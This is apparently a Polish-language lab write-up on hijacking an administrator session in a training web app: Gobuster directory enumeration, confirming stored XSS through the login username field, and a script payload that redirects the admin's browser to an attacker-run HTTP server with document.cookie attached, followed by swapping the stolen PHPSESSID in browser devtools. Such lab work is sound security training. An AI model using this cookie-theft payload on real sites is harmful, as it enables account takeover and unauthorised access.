Logowanie bez hasła dzięki ID sesji

Zadanie: Przejęcie sesji administratora i uzyskanie dostępu bez hasła.
Szczegółowy opis: Odnaleźć katalog zawierający dane sesyjne użytkowników, zlokalizować identyfikator sesji Administratora, a następnie podmienić własne ciasteczko sesyjne (PHPSESSID) w przeglądarce na wartość odpowiadającą sesji Administratora. Po odświeżeniu strony uzyskać dostęp do widoku administracyjnego.
Target IP: 192.168.100.61

1. Enumeracja zasobów webowych
   Cel: Zidentyfikowanie ukrytych katalogów w aplikacji webowej
   Działanie: Użycie narzędzia Gobuster (z listą słów directory-list-2.3-small.txt), aby przeskanować strukturę katalogów w [target ip]. Otrzymane wyniki zapisano do pliku tekstowego logs-enum.txt.

     gobuster dir -u http://[target_ip] -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
   

   CopyCopied!

   * Jeśli aplikacja wymaga HTTPS użyj opcji '-k', żeby pominąć błędy certyfikatu.

   Rezultat: W wyniku skanowania odnaleziono katalog /logs/, który zawiera dane potencjalnie dostępne tylko dla administratora. Zawartość katalogu wskazuje na możliwość dalszej eskalacji — np. poprzez analizę logów i identyfikację aktywnych sesji użytkowników.

   

2. Weryfikacja podatności XSS poprzez logowanie z payloadem
   Cel: Sprawdzenie, czy aplikacja jest podatna na atak typu Stored XSS poprzez wstrzyknięcie kodu HTML w polu nazwy użytkownika i jego późniejsze wyświetlenie w logach.
   Działanie: W formularzu logowania podano jako nazwę użytkownika ciąg zawierający tag HTML: <u>XSS. Po przesłaniu formularza dane zostały zapisane w logach aplikacji. Następnie wyświetlono zawartość logów w interfejsie administracyjnym w celu sprawdzenia, czy wstrzyknięty kod HTML został zinterpretowany przez przeglądarkę. Obserwacja potwierdziła, że logi są renderowane bez filtrowania — co potwierdza podatność typu Stored XSS.
   Rezultat: Wstrzyknięty kod HTML (<u>XSS) został zapisany w logach aplikacji i następnie poprawnie wyświetlony w panelu logowania administratora. Przeglądarka zinterpretowała znacznik HTML, co potwierdza obecność podatności typu Stored XSS. Aplikacja nie stosuje odpowiedniego filtrowania danych wejściowych przed ich prezentacją w logach, co umożliwia potencjalne ataki XSS na użytkowników z dostępem do tych danych (np. administratorów). Zadanie zostało zaliczone automatycznie po wyświetleniu logów z aktywnym kodem HTML.

   
   

3. Kradzież ciasteczka sesji Administratora przez podatność XSS
   Cel: Pozyskanie identyfikatora sesji Administratora (PHPSESSID) poprzez wykorzystanie podatności typu Stored XSS oraz przekierowanie jego przeglądarki na zewnętrzny serwer z dołączonym ciastkiem sesji w URL.
   Działanie: Uruchomiono serwer HTTP na Kali Linuksie (python3 -m http.server 80). Następnie zalogowano się do aplikacji z nazwą użytkownika zawierającą payload JavaScript, który przekierowywał przeglądarkę do zewnętrznego serwera z doklejonym wynikiem document.cookie. Po odczekaniu kilkudziesięciu sekund serwer odebrał żądanie HTTP zawierające identyfikator sesji użytkownika zalogowanego jako Administrator.

     <script>location.href="http://10.65.0.6/"+escape(document.cookie)</script>
   

   CopyCopied!

   Rezultat: Na serwerze Kali zarejestrowano zapytanie HTTP zawierające ciasteczko PHPSESSID należące do Administratora. Zadanie zostało zaliczone automatycznie po odebraniu tego żądania. Potwierdzono możliwość kradzieży ciastek sesyjnych przy użyciu ataku typu Stored XSS.

   

4. Podmiana identyfikatora sesji i przejęcie dostępu administracyjnego
   Cel: Zweryfikowanie, czy możliwe jest zalogowanie się jako Administrator bez znajomości hasła, poprzez ręczną podmianę identyfikatora sesji (PHPSESSID) na uprzednio przechwycony z wykorzystaniem ataku typu Stored XSS.
   Działanie: W narzędziach deweloperskich przeglądarki (Chrome: F12 → Application → Cookies) odszukano ciasteczko PHPSESSID. Następnie jego wartość została ręcznie zastąpiona identyfikatorem sesji przejętym wcześniej z żądania HTTP przesłanego przez przeglądarkę Administratora. Po odświeżeniu strony aplikacja rozpoznała aktualną sesję jako uprzywilejowaną.

   Rezultat: Podmiana wartości ciasteczka PHPSESSID skutkowała uzyskaniem pełnego dostępu do zasobów przeznaczonych wyłącznie dla Administratora. Mechanizm sesji nie zawierał żadnych dodatkowych mechanizmów weryfikacyjnych (np. przypisania sesji do adresu IP czy agenta przeglądarki), co umożliwiło skuteczne przejęcie uprawnień bez logowania.

   

Wnioski końcowe